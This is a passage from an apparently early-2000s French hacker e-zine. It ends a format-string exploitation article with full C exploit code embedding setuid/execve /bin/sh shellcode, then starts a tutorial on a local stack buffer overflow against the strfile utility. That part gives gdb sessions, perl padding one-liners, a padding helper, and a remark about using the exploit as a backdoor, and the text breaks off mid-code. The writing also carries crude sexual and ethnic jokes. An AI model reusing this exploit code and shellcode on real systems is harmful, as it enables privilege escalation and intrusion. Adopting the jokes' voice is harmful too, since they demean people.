s'assurant bien  sr que  nous avons  le droit  d'crire   cet endroit dans la
mmoire, et que nous n'crasons pas de valeurs importantes pour ne pas dranger
le droulement  du programme,  du moins  jusqu' temps  que nous  saisissons le
contrle sur celui-ci.


--[ Conclusion

Malgr le  fait que  les attaques  par format  string se  font de  plus en plus
rares,  il  reste  toujours  intressant  de  jouer  avec  une  telle   mthode
d'exploitation, car elle est trs flexible et nous pouvons faire pas mal ce que
nous voulons en mmoire.   En esprant que cet  article vous a ouvert  l'esprit
sur l'exploitation et qu'il vous a aussi donn le got d'en savoir plus...	

--[ Le code

--[ lib.c
/*

   Cette version du programme nous permettra d'crire un shellcode en mmoire
   et de prendre le contrle du programme  l'aide d'un format string attack.

   Pour crire en mmoire une string de votre choix, (strcpy improvis), veuillez
   changer le main () qui suit avec le main () en commentaires  la fin du code.

   Cod par g463

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define DUMMY  0xbabebabe      // si taimes les lesbi.
//#define DUMMY 0xdeadbabe     // ou la necrophilie...
#define SEARCH 0x41414141

char sc_linux[] =
                "\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
                "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
                "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

#define ALIGN_MODE   1
#define EXPLOIT_MODE 2

char *write_4 (char *buffer, long what);
char *search_dist (char *buffer, int dist);
void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char
*what, int mode);
void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode);
void usage (char *progname);

int 
main (int argc, char *argv[]) {

   char *buffer = (char *) malloc (4096);
   int i, j;
   int retloc, retadr;

   if (argc != 6)
      usage (argv[0]);

   memset (buffer, 0x42, sizeof (buffer));

   retloc = strtoul (argv[3], NULL, 16);
   retadr = strtoul (argv[4], NULL, 16);

   write_sc_fmt (buffer, atoi (argv[1]), atoi (argv[2]),
                     retloc,
                     retadr,
                     sc_linux,
                     atoi (argv[5]));

   // Make sure the lenght of our buffer is always fixed
   for (i = 0; i < 4096; i++)
      if (buffer[i] == 0x0) buffer[i] = 0x42;
   buffer[i] = 0x0;

   execl ("./test", "test", buffer, (char *) 0);

   return 0;
}

char *write_4 (char *buffer, long what) {

   int i = 0;

   buffer[i++] = (what & 0x000000ff);
   buffer[i++] = (what & 0x0000ff00) >> 8;
   buffer[i++] = (what & 0x00ff0000) >> 16;
   buffer[i++] = (what & 0xff000000) >> 24;

   return (char *) &buffer[i];
}

char *search_dist (char *buffer, int dist) {

   int i;
   char pop_it[] = ".%8x";

   for (i = 0; i < dist; i++)
      strcat (buffer, pop_it);

   return (char *) (buffer + (strlen (pop_it) * dist));
}

void write_sc_fmt (char *buffer, int dist, int align, int retloc, int retadr, char *what, int mode) {


   char *ptr = buffer, *what_ptr;
   int written_bytes = 0, write_byte, padding;
   int i;

   for (i = 0; i < align; i++) {
      buffer[i] = '.';
      written_bytes++;
      ptr++;
   }

   ptr = write_4 (ptr, SEARCH);
   written_bytes += 4;

   // Pushons les adresses pour notre retadr
   for (i = 0; i < 4; i++) {
      ptr = write_4 (ptr, DUMMY);
      ptr = write_4 (ptr, retloc+i);
   }
   written_bytes += (4 * (i * 2));

   // Pushons les adresses pour notre string
   for (i = 0; i < strlen (what) + 1; i++) {
      ptr = write_4 (ptr, DUMMY);
      ptr = write_4 (ptr, retadr+i);
   }
   written_bytes += (4 * (i * 2));

   ptr = search_dist (ptr, dist);
   written_bytes += (dist * 9);

   what_ptr = what;
   for (i = 0; i < (strlen (what) + 1 + 4); i++) {

      if (i < 4) {
         write_byte = (retadr & 0x000000ff) + 0x100;
         retadr = retadr >> 8;
      } else {
         write_byte = what_ptr[i-4] + 0x100;
      }

      written_bytes %= 0x100;

      padding = (write_byte - written_bytes) % 0x100;

      if (padding < 14)
         padding += 0x100;

      ptr = buffer + strlen (buffer);

      if (mode == ALIGN_MODE)
         sprintf (ptr, "%%%dd%%x", padding);
      else
         sprintf (ptr, "%%%dd%%n", padding);

      written_bytes += padding;
   }
}

void write_string_fmt (char *buffer, int dist, int align, int retloc, char *what, int mode) {

   char *ptr = buffer, *what_ptr;
   int written_bytes = 0, write_byte, padding;
   int i;

   for (i = 0; i < align; i++) {
      buffer[i] = '.';
      written_bytes++;
      ptr++;
   }

   ptr = write_4 (ptr, SEARCH);
   written_bytes += 4;

   for (i = 0; i < strlen (what) + 1; i++) {
      ptr = write_4 (ptr, DUMMY);
      ptr = write_4 (ptr, retloc+i);
   }
   written_bytes += (4 * (i * 2));

   ptr = search_dist (ptr, dist);
   written_bytes += (dist * 9);

   what_ptr = what;
   for (i = 0; i < (strlen (what) + 1); i++) {

      write_byte = what_ptr[i] + 0x100;

      written_bytes %= 0x100;

      padding = (write_byte - written_bytes) % 0x100;

      if (padding < 14)
         padding += 0x100;

      ptr = buffer + strlen (buffer);

      if (mode == ALIGN_MODE)
         sprintf (ptr, "%%%dd%%x", padding);
      else
         sprintf (ptr, "%%%dd%%n", padding);

      written_bytes += padding;
   }
}

/*

int
main (int argc, char *argv[]) {

   char *buffer = (char *) malloc (4096);
   int i, j;
   int retloc;

   if (argc != 6)
      usage (argv[0]);

   memset (buffer, 0x42, sizeof (buffer));

   retloc = strtoul (argv[3], NULL, 16);

   write_string_fmt (buffer, atoi (argv[1]), atoi (argv[2]),
                     retloc,
                     argv[4],
                     atoi (argv[5]));

   // Make sure the lenght of our buffer is always fixed
   for (i = 0; i < 4096; i++)
      if (buffer[i] == 0x0) buffer[i] = 0x42;
   buffer[i] = 0x0;

   execl ("./test", "test", buffer, (char *) 0);

   return 0;
}

*/

--] eof

--[ Rfrences

[1] : Wu-ftpd exploit
http://packetstormsecurity.nl/9903-exploits/wu-ftpd-beta18-root.txt

[2] : Sudo exploit
http://www.synnergy.net/downloads/exploits/vudo.c

[3] : Format String exploitation
http://www.team-teso.net/releases/formatstring-1.2.tar.gz

[4] : Documentation ELF
http://www.muppetlabs.com/~breadbox/software/ELF.txt

--[ Remerciements pour cet article

*  #mindkind, pour le support, l'entraide, l'nergie et surtout leur patience ;)
*  #2e2h pour l'entraide et les ides sur les format strings attacks




            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                g463@mindkind.org                        /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




                                                                          
 Mindkind Nord-Korean                                                     
 Nuclear Facility.                                                        
 Producing EliteActive E-zine                                             
 ... And some usefull mass-destruction weapon ...                         
                                                                          
                  ############################                            
                    ###``````````````````###                              
                      ##````````````````##                                
                       #````````````````#                                 
                       #```````````````############################       
                       #````````````````####``````````````````###         
                       #````````````````#  ##````````````````##           
                       #````````````````#   #````````````````#            
                       #````````````````#   #````````````````#            
                       #````````````````#   #````````````````#            
                      ##````````````````##  #````````````````#            
                    ###``````````````````####````````````````#            
                  ####````````````````````###````````````````#            
              ######````````````````````````#````````````````#            
           ##################################````````````````##           
    ,,,,,,,,,,,,,,,,,,,,,,,,,,,          ###``````````````````###         
   /                         /|        ####````````````````````####       
  +-------------------------+ |    ######````````````````````````######   
  |                         | | ##########################################
  | [] [] [] [] [] [] [] [] | |  ,,,,,,,,,,,,,,,,,,,,,,,,,,,              
  |                         | | /                         /|              
  | [] [] [] [] [] [] [] [] | |+-------------------------+ |              
  |                      +--| ||                         | |              
  | [] [] [] [] [] [] [] |oo| || [] [] [] [] [] [] [] [] | |              
  |                      | '|/ |                         | |              
  '''''''''''''''''''''''''''  | [] [] [] [] [] [] [] [] | |              
                               |                      +--| |              
                               | [] [] [] [] [] [] [] |oo| |              
                               |                      | '|/   -init_null  
                               '''''''''''''''''''''''''''                
                                                                          
                                                                          


                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.09  Buffer Overflow pour les 0x90                   \        \     !
     .             aka                                         \        \    .
     ;   When doing a local buffer overflow is easier than      \        \   :
     :   finding a girlfriend                                    \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Cet article  traitera de  comment faire  un buffer  overflow sur  un excutable
linux i386  ia32 local.  Contrairement aux  articles dj  paru sur les buffers
overflow de type local, nous n'utiliserons pas d'exemple prfab. Nous tenterons
(et  russirons)  d'exploiter  strfile,  un  utilitaire  du  package  bsd-games
(fortune cookie) dans un environnement linux slackware 8.0 . L'accent sera  mit
sur le comment plus que le pourquoi,  le but de cet article tant de  dmontrer
en milieu rel la cration d'un exploit de type buffer overflow local. L o a
se   passe   vraiment  quoi.   Des  connaissances     minimums   en     systme
d'exploitation linux et en programmation  (les codes prsents ici seront  en C
et ASM, mais la non-connaissance de ces langages n'entrane pas automatiquement
une non-comprhension de cet article, il est tout  fait possible de comprendre
les  exemples donns  si vous  pratiquez dj  la programmation  sous un  autre
langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers
overflow. L'accent  sera donc  mit sur  ce qui  est important  pour russir. Je
proposerais aussi une solution tout en un qui permettra d'exploiter la  plupart
des buffers overflow d'argument local  avec un seul exploit. Strfile  n'est pas
suid root, mais  on peut se  servir de cet  exploit comme une  backdoor sur une
machine dj root.

L'article sera  spar en  2 parties  majeures, la  premire partie, thorique,
rcapitule de faon gnralis ce qui est ncessaire de savoir. Cette thorie a
dj t expliqu de diffrentes faons, je la reprends donc ainsi a la  mienne
en tant qu'introduction  l'exploit de  strfile. Nous en venons donc   la 2me
section  qui traitera  de l'exploitation  de strfile  de faon  pratique et  se
terminera par la confection d'un exploit en C.


La thorie

Un buffer overflow  se produit lorsqu'on  tente d'crire en  mmoire le contenu
d'une variable dont la grandeur en  bytes dpasse celle prvue  cet  effet par
le  programme  lui-mme.  Les  donnes qui  se  retrouverons  en  surplus iront
rcrire par dessus les  valeurs prcdentes dans la  stack (la stack tant  la
partie de  mmoire o  sont stocks  les arguments  et les  variables locales).
Pourquoi celle  qui  prcde  ? Et   bien car  dans la  stack tout  ce qui  est
inscrit dbute  la fin, un  peu comme lorsqu'un arabe crit. Donc  la premire
variable   entrer sera   la  fin de  la stack.  Ensuite la  deuxime variable
viendra s'ajouter  "en dessous".  Mais pourquoi  donc si  la 2me  variable est
overflowe son contenu viendra se dverser dans la premire ? Et bien c'est que
dans chaque variable  le contenu est  crit du bas  vers le haut  dans l'espace
alloue  cette variable.


wtf ?
Un ascii s'impose afin de mieux digrer tout a.


End of user Memory
,----------------,
|                |   bon la stack est la zone situer  la fin de la mmoire
|  S       |     |   alloue par le OS  un process. Dans cette zone sont 
|  T       |     |   situes toute les variables utilises par le process.
|  A       |     |   Pour une procdure qui contient 4 variables, la premire
|  C       |     |   s'installera dans le haut de la stack la 2ime viendra
|  K       |     |   ensuite en dessous de la premire et la 3ime en dessous
|          |     |   de la 2ime et ainsi jusqu' la fin.
|          |     |   
|         \ /    |
|          '     |
|________________|


      End of user Memory
      ,----------------,
      |1re procdure  |    
S  |  | var1 / \       |    
T  |  | var2  |        |    
A  |  | var3  |        |    
C  |  | var4  |        |    
K  |  |________________|    
   |  |2ime procdure |    
   |  | var1 / \       |    
  \ / | var2  |        |
   '  | var3  |        |
      | var4  |        |
      |                |
      





        ____         ,-------------------------------------------------
       /    \        |  Bien que a ne soit pas ncessaire  la russite
      |  _   |       |  d'un buffer overflow local, certains d'entre vous
      | / \  |       |  aimeraient sans doute avoir un supplment 
      ||   | |      /   d'information sur la stack et l'organisation de la
      (.) (.)|     /    mmoire en gnral. 
      ||   | |    <__  
      ||   | | |     |  Pour chaque process (un process tant un programme
      ||   | | |     |  s'excutant) une zone de mmoire virtuelle de
      |____/|| |     |  4 gig est dfinie. Cette zone est divise en 2,
      |\___/ | |     |  l'espace kernel et l'espace user. C'est avec l'espace
      ||   | | |     |  user que nous aurons affaire dans cet article.
      ||   | | |     |  Voici donc  quoi ressemble la totalit de la 
      ||   | | |     |  mmoire. 
      ||     | |       
      | \___/  |      
      |        |        ,----------------,
       \______/         | K              | Cette zone mmoire n'est accessible
                        | E              | que par le kernel, il est impossible
                        | R              | pour un user d'y lire ou d'y crire.
                        | N    S         | 
                        | E    P         |
                        | L    A         |
                        |      C         |
                        |      E         |
                        |                |
                        |                |
                        |                |
                        |                |
                        |________________|
                        |		 | C'est dans la stack que sont stores
                        |          |     | les arguments et les variables locales 
                        |  STACK   |     | d'une procdure, chaque procdure  
                        |         \ /    | d'un programme dispose de son endroit 
                        |          '     | dans la stack qui est appel
                        |         / \    | "FRAME". c'est  l'intrieure d'un
                        |  HEAP    |     | de ces frames que nous ferons notre
                        |          |     | buffer overflow. Le heap sert  
                        |________________| storer les vars dynamiques ex :malloc().
                        |  BSS           | c'est dans le bss que se retrouve
                        |________________| les donnes globales non initialises.
                        |  DATA          | le data est dfini par les 
                        |________________| constantes.
                        |  TEXT          | C'est dans le segment text que se
                        |________________| trouve le code  excuter. Cette
                                           partie est unwritable. 


                        La  mmoire  rserve   la  stack  dbute   l'adresse
                        0xbfffffff. En fait,  il s'agit de  la fin de  l'espace
                        user puisque la stack se lit a l'envers du reste de  la
                        mmoire. Tel que dmontr dans le graphique. Bref qu'on
                        dise que  la user  space fini  a 0xbfffffff  ou que  la
                        stack dbute  0xbfffffff, c'est la mme chose. 

                        Dans la  stack les  donnes s'empilent  vers le  bas en
                        suivant la loi fondamentale, last in first out. C'est 
                        dire que le dernier entr est le premier  en sortir. 
 

Bon, tout a est bien beau, mais a quoi a sert ? 

He bien, lors de la cration d'une procdure, le systme se donne 2 indices qui
lui  permettrons de  se reprer  par la  suite. Il  s'agit de  2 registes,  qui
contiennent les  endroits en  mmoires ou  retourner lorsque  la procdure aura
fini d'tre applique, il se retrouve au dbut de la procdure auquel ils  sont
rattachs, avant les variables.. ces registres sont appels en ASM eip et  ebp.
Ainsi donc, lorsqu'on enverra par  argument  la variable une  valeur dpassant
la grandeur rserve en mmoire de celle ci nous pourrons rcrire la valeur de
eip et nous le redirigerons  l'adresse mmoire o nous avons cr notre buffer
overflow dans lequel nous aurons  introduit un shellcode. Le shellcode  est une
suite d'instructions ASM  qui "gnralement" sert   excuter /bin/sh  avec les
privilges du programme que nous exploitons. 


wtf ?



        End of user Memory
      ,------------------,
      |1re procdure eip|    Donc en temps normal, dans eip est 
S  |  |               ebp|    indiqu l'adresse ou devra retourner
T  |  |                  |    en mmoire pour continuer l'excution
A  |  |          var1 / \|    du programme. Nous, en faisant un buffer
C  |  |          var2  | |    overflow, nous disposons de la grandeur
K  |  |          var3  | |    du buffer pour crire un programme
   |  |          var4  | |    que nous ferons excuter en modifiant
   |  |__________________|    eip  la fin de notre buffer overflow
  \ / |2me procdure eip|    pour qu'il "continue" dans notre code
      |               ebp|    a nous que nous avons inject dans la
      |                  |    variable via le passage d'un argument.
      |          var1 / \|    autrement dit, si notre buffer se situe
      |          var2  | |    dans la 3ime variable de la premire
      |          var3  | |    procdure, nous devrons craser le
      |          var4  | |    contenue des 2 premires variables afin
                              d'accder au eip.  


Qu'est-ce que eip et ebp ?

eip et ebp  sont 2 registres  qui contiennent des  adresses hexadcimales d'une
grandeur de 4 bytes. ebp ,  extended base pointer, aussi appel frame  pointer,
c'est dans ebp que se trouve la  location en mmoire du frame prcdant. eip  ,
extended instruction  pointer rfre   l'adresse  o le  programme doit jumper
pour continuer sainement  son excution. C'est  le eip qui  nous intresse, car
c'est en modifiant cette valeur  que nous pourrons indiquer au  process d'aller
lire notre shellcode plutt que de continuer sont excution tel que prvu.
 

Pourquoi ?

Certaines fonctions en C  ne prennent pas compte  de la grandeur des  variables
qu'ils copient en  mmoire, la plus  connu est strcpy(),  c'est gnralement de
strcpy() qu'on se  sert dans les  textes qui traitent  de buffer overflow  pour
crer  un  environnement  exploitable artificiel.  Parmi  les  autres fonctions
vulnrables,  on  retrouve  strcat(),  sprintf(),  vsprintf(),  gets(),  et les
*scanf(), d'autres fonctions peuvent mener  un buffer overflow dpendamment de
leur utilisation. 


Exemple :


#include <stdio.h>




main (int argc, char *argv[])
	{

	char buffer1[20];
	char buffer2[256];

	
	if (argc > 2)
		{
		strcpy(buffer1,argv[1]);
		strcpy(buffer2,argv[2]);
		}
		else 
		{
		printf("this crap needs 2 arguments\r\n");
		}
	}


Donc dans ce code, si  l'on passe en argument   buffer1 une valeur de plus  de
256 bytes, le surplus va dborder dans buffer2 et le programme va continuer son
excution  normalement  (puisque  ce  code  ne  s'attend    aucune  valeur  en
particulier  et  ne  fait  rien  d'autre  que  de  copier  arg1  en  mmoire (a
l'intrieur de buffer1).  

Nous allons donc essayer  l'aide de gdb et d'une fonction pratique en Perl  de
trouver   quel endroit  se trouve  le eip  du code  prcdant. Lorsque se sera
fait, nous pourrons nous attaquer  strfile et crer l'exploit.

Le caractre "`" permet de passer une autre commande en argument, c'est donc le
rsultat de la commande entre ``  qui apparatra et non la commande  elle mme.
Perl possde  le mme  genre de  caractre "'"  qui permet  les mme fonctions,
comme c'est 2 balises sont diffrentes, il nous est donc possible de passer  le
rsultat  d'une commande   une  autre commande  afin d'arriver   un  rsultat
global.


Ex: 

[encoder@localhost encoder]$ echo `perl -e 'print "A"x20'`
AAAAAAAAAAAAAAAAAAAA
[encoder@localhost encoder]$

Ainsi  nous avons  pass en  commentaire   la commande  echo 20  A. Nous  nous
servirons de cette particularit afin de construire nos buffers tests qui  nous
servirons  identifier le nombre de bytes ncessaire pour rcrire eip.


[encoder@localhost test]$ gdb test2 -q
(gdb) r `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`
Starting program: /home/encoder/hack/test/test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p $eip
$1 = (void *) 0x41414141
(gdb)

(41 tant la valeur hexadcimal de A, on sait donc ainsi qu'on a rcrit 4  "A"
sur la valeur de eip)

Comment savoir le nombre de bytes ncessaire pour remplir un buffer ? He  bien,
il suffit de compter.

eip(4bytes) + ebp(4bytes) + int argc(4bytes) + 
char* argv[1](3 x 4bytes (2 argument + prog name)) + buffer1(20bytes) +
buffer2(256bytes) 

donc 4 + 4 + 4 + 12 + 20 + 256 = 300

Je dois spcifier que je travail sur un systme red hat, et que red hat afin de
se protger des nombreux  exploits dj existant a  son gard fait ajouter  une
valeur de  4 bytes  aprs le  ebp. Ainsi  donc nous  arrivons enfin  notre 304
bytes de buffer.  Sous un systme  slackware, comme nous  tenterons d'exploiter
plus tard, notre buffer aurait t de 300bytes.

Il faut aussi  savoir que dans  la stack toute  les variables sont  paddes a 4
bytes. Donc  toute les  buffers auront  ncessairement un  multiple de  4 comme
grandeur.

Une autre faon plus brainless de trouver la rponse aurait t de  bruteforcer
carrment la grandeur du buffer.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x256'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x266'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x276'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x286'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x296'`
[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x306'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11024 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) quit

306 n'tant pas un multiple de 4, nous pouvons savoir qu'il est impossible  que
le eip soit correctement cras avec un padding de la sorte.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11032 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x42015800 in ?? ()
(gdb) quit

A 300 on ne retrouve pas nos  AAAA (41414141) c donc dire que nous  n'avons pas
rcrit eip.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'`
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11040 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

Ici  304 nous  nous rendons compte que  nous avons effectivement rcrit  eip,
afin de  nous assurer  que nous  ne nous  sommes pas  tromp nous allons donner
comme argument un padding de  300 A et de 4  Z afin de s'assurer que  s'assurer
que les 4 derniers bytes de notre buffer overflow recouvre bien le eip.

[encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`ZZZZ
Segmentation fault (core dumped)
[encoder@localhost test]$ gdb -c core.11743 -q
Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x5a5a5a5a in ?? ()
(gdb)

Operation successfull, on vient de trouver le eip. 



        ____         ,-------------------------------------------------
       /    \        |  Certain d'entre vous qui connaissent mal ou pas
      |  _   |       |  du tout GDB apprcieraient srement une petite 
      | / \  |       |  explication de ce qui c'est pass ici.
      ||   | |      /   
      (.) (.)|     /    
      ||   | |    <__   gdb est un programme disponible sur la plupart
      ||   | | |     |  des systmes d'exploitation qui permet de grer
      ||   | | |     |  l'excution de binary, daller lire les segments
      |____/|| |     |  de mmoires,  de  connatre  le  contenu   des 
      |\___/ | |     |  registre, d'excuter un binary en traant des
      ||   | | |     |  breakpoints afin de pouvoir dbuguer directement
      ||   | | |     |  certaines sections. gdb permet aussi d'obtenir des
      ||   | | |     |  dump en asm AT&T des diffrentes procdures et
      ||     | |        fonction d'un code donner, et peut mme dans le
      | \___/  |        cas d'un programme compil spcifiquement pour
      |        |        gdb de prsenter le code original en C  partir
       \______/         du binary.       
       
                        Un   article   entier   pourrais   tre   consacr    
                        l'utilisation de  gdb, comme  il ne  s'agit pas  du but
                        recherch ici, je vais me contenter de survoler ce  qui
                        est ncessaire pour comprendre cette article et  parler
                        de  quelques  commandes de  base  qui peuvent  s'avrer
                        intressantes.

                        
                        afin  d'utiliser  gdb  pour  grer  un  programme   qui
                        segfault, il faut crer un core au moment du  segfault.
                        c'est  ce  core  que  nous  utiliserons  via  gdb  pour
                        "debugger" notre application. pour faire crer un  core
                        il suffit de faire la commande 
                        
                        ulimit -c 100000 
                        
                        (ce n'est  pas ncessaire  de la  refaire avant  chaque
                        excution, une fois suffit, tant que vous demeurez dans
                        le mme  shell). pour  lancer gdb  avec un  coredump il
                        suffit de lancer la commande suivante                        
                        
                        gdb -c core 
                        
                        (ici   core   peu   prsenter   quelques    diffrences
                        dpendamment  du  os  ou mme  de  la  distro que  vous
                        utiliser. par  exemple sous  slackware la  dnomination
                        est simplement core  tandis que sous  redhat un id  est
                        ajout en extension  ce qui donne core.10045 (genre).

                        
                        Une autre faon est de lancer gdb avec le programme 
                        a dbuguer en paramtre, ex:
                        
                        gdb test 
                        
                        
                        Ensuite  l'intrieur de  gdb il suffit de  taper"r" ou
                        "run" pour que l'application s'excute. Il est possible
                        de passer  des paramtres,  de la  mme faon  que vous
                        feriez si  vous lanceriez  le programme   partir  d'un
                        shell. C-a-d  que vous  tapez r  suivit des  arguments.
                        Encore la comme dans un shell il est possible d'insrer
                        des  rsultats de  commande en  argument   l'aide des
                        balises ``.

                        Vous   aurez   srement   remarqu   l'utilisation   de
                        l'option -q  au dmarrage  de gdb.  Cette option enlve
                        simplement le header de gdb (du text pas trop important
                        et trs redondant  la longue).
                        
                        
                        Pour de l'aide, taper help, (classique)
                        
                        Quelques autres commandes vous serons srement utile
                        
                        p (print) : permet de printer la valeur d'un registre
                        
                        
                        ex : p $eip 
                        
                        donnera la valeur de eip. noter que pour l'utilisation
                        de "p" le registre mit en option doit tre dbuter par
                        le caractre $.
                        
                        
                        info registers : donne la liste et la valeur de chaque
                                         registre
                                       
                        
                        disassemble : permet de donner un dump asm d'une 
                        	      procdure ou d'une fonction
                        	      
                        ex : disassemble main
                        
                        donnera le code en asm de votre fonction main
                        
                        
                        	       
                        x/12 : permet  d'afficher  le  contenu  hexadcimal  de 
                               la mmoire en diviser en section de 12 groupe de
                               4  bytes,  faire  enter  pour  remonter  dans la
                               mmoire.  x/12  a  besoin  comme  paramtre  une
                               adresse hexadcimal de ou commencer  lire.
                               
                               
                        ex : (gdb) x/12 0xbffff830
                        
                        
                        donnera un rsultat qui ressemble a ceci 
                               
     0xbffff830:     0x00000000      0xbffff874      0xbffff884      0x400124b8
     0xbffff840:     0x00000003      0x080482ac      0x00000000      0x080482cd
     0xbffff850:     0x0804835c      0x00000003      0xbffff874      0x08048254
                           
                        
                        O la premire colonne reprsente l'adresse hexadcimal
                        de la premire bytes de la 2ime colonne. (0x stand for
                        hexadecimal use).
                        
                        
Et maintenant, passont  la pratique.

Comme dit prcdemment, le  but de cette article  est de crer un  exploit pour
strfile sous linux  slackware 8.0 .   La  premire  tape   est  de trouver  la
grandeur du buffer exploitable. Pour ce faire, vu que nous ne disposons pas  du
source code,  nous procderons  par un  petit bruteforce.  Pour ce  faire, nous
n'utiliserons pas la commande de perl montrer plus haut, mais un petit tool  en
C qui fait exactement la mme chose, en moins long  taper. 


//pad.c  
//use it to find the buffer lenght
#include <stdio.h>

main(int argc,char* argv[]) {
        int x;
        if (argc > 1)
        {
        // A X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42)
                for (x=0;x<atoi(argv[1]);x++)
                        printf("B");
        }
        // ret (%eip = 0x41414141)
        printf("AAAA");
}


Ce code output un nombre  de B qu'on passe en  argument et ajoute 4 A   la fin
(ainsi si on voit un 42 dans le  eip, on sait que notre buffer est trop  grand.
Donc au lieu de faire :


strfile `perl -e 'print "B"x5000'`AAAA


Il suffit de faire


strfile `./pad 5000`


Vous comprendrez que j'ai compil mon  code sous le nom de pad  (pour padding).
avec 5000 de  padding on tombe  sur un segmentation  fault, ce qui  nous laisse
permettre  croire qu'on  a rcrit   eip,  sauf  que l'adresse  qu'on a  ajout
pointe vers rien  d'excutable. avec un  pad de 4000  strfile ne segfault  pas.
avec la mthode d'essaie et erreur, nous pouvons arriver a un padding de 4148.


root@Rewter:~/tool# ulimit -c 10000
root@Rewter:~/tool# strfile `./pad 4148`
Segmentation fault (core dumped)
root@Rewter:~/tool# gdb -c core -q
Core was generated by `strfile BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)


On voit ici que eip a t cras par nos 4 A. nous avons donc la bonne grandeur
de  buffer,  il ne  nous  reste plus  qua  construire un  exploit.  La premire
question a se pauser aprs avoir su la grandeur de notre buffer c'est qu'est-ce
qu'on va mettre dedans ? voici un petit graphique qui reprsente ce a quoi aura
l'air notre buffer un coup fini.


,----------------------------------------,-------------------,-------------,
|                                        |                   |             |
| nop(0x90)(4148 - shellcode - eip bytes)| shellcode(X bytes)| eip(4bytes) |
'________________________________________'___________________'_____________'



nop(0x90) : il s'agit d'un code hexadcimal (0x90) qui signifie en  assembleur,
            passe au suivant.  nous nous en  servons pour remplir  notre buffer
            afin  d'avoir une  zone plus  ou moins  grande dans  la quel  nous
            pourrons jumper. Bref  on se garde  une marge de  manuvre dans les
            adresse  sur  lesquels nous  pouvons  jumper (eip)  pour  que notre
            exploit  s'excute  sans  erreur. Peu  importe  ou  nous jumpons  a
            l'intrieur du padding de nop, nous sommes sur d'en arriver a notre
            shellcode.
	  
	  
shellcode : le  shellcode  est  une  suite  dinstruction  en   assembleur   qui 
            excute un shell, soit  /bin/sh dans la plus  par des cas. Dans  le
            cas d'un  exploit root,  on doit  aussi rajouter  un petit  code en
            assembleur qui fait l'quivalent de  "set uid 0". Des shellcode  on
            t crit  pour les  diffrentes architecture  existante, nous nous
            contenterons d'en copier un dj fait. comme notre exploit se  fait
            en local,  nous n'avons  pas a  nous inquiter  qu'un ids  peroive
            notre shellcode  dans une  suite de  packet. (la  plus par  des ids
            block  les  exploits  en  reconnaissant  les  diffrents shellcodes
            existant, pour bypasser cette dfense il est possible de construire
            les shellcode polymorphique. mais  comme nous sommes en  local nous
            n'en  traiteront pas  dans cet  article. connatre  la grandeur  de
            notre shellcode  n'est pas  particulirement important,  puisque le
            code de notre exploit  grera tout ceci. il  est bon de savoir  par
            contre que au minimum notre exploit doit tre plus petit de 4 bytes
            que  la   grandeur  total   du  buffer   exploitable,  mais  jumper
            directement  au dbut  d'un shellcode  est en  soit exploit,  c'est
            pourquoi nous  utilisons des  nop pour  complter le  buffer. voici
            tout de mme un petit code en C qui permet de calculer la  grandeur
            du shellcode que nous utiliserons. (ou de tout autre)
	    


//length.c
//use to output the shellcode len    
#include <stdio.h>
main(int argc,char*argv) {

        char shellcode[] =
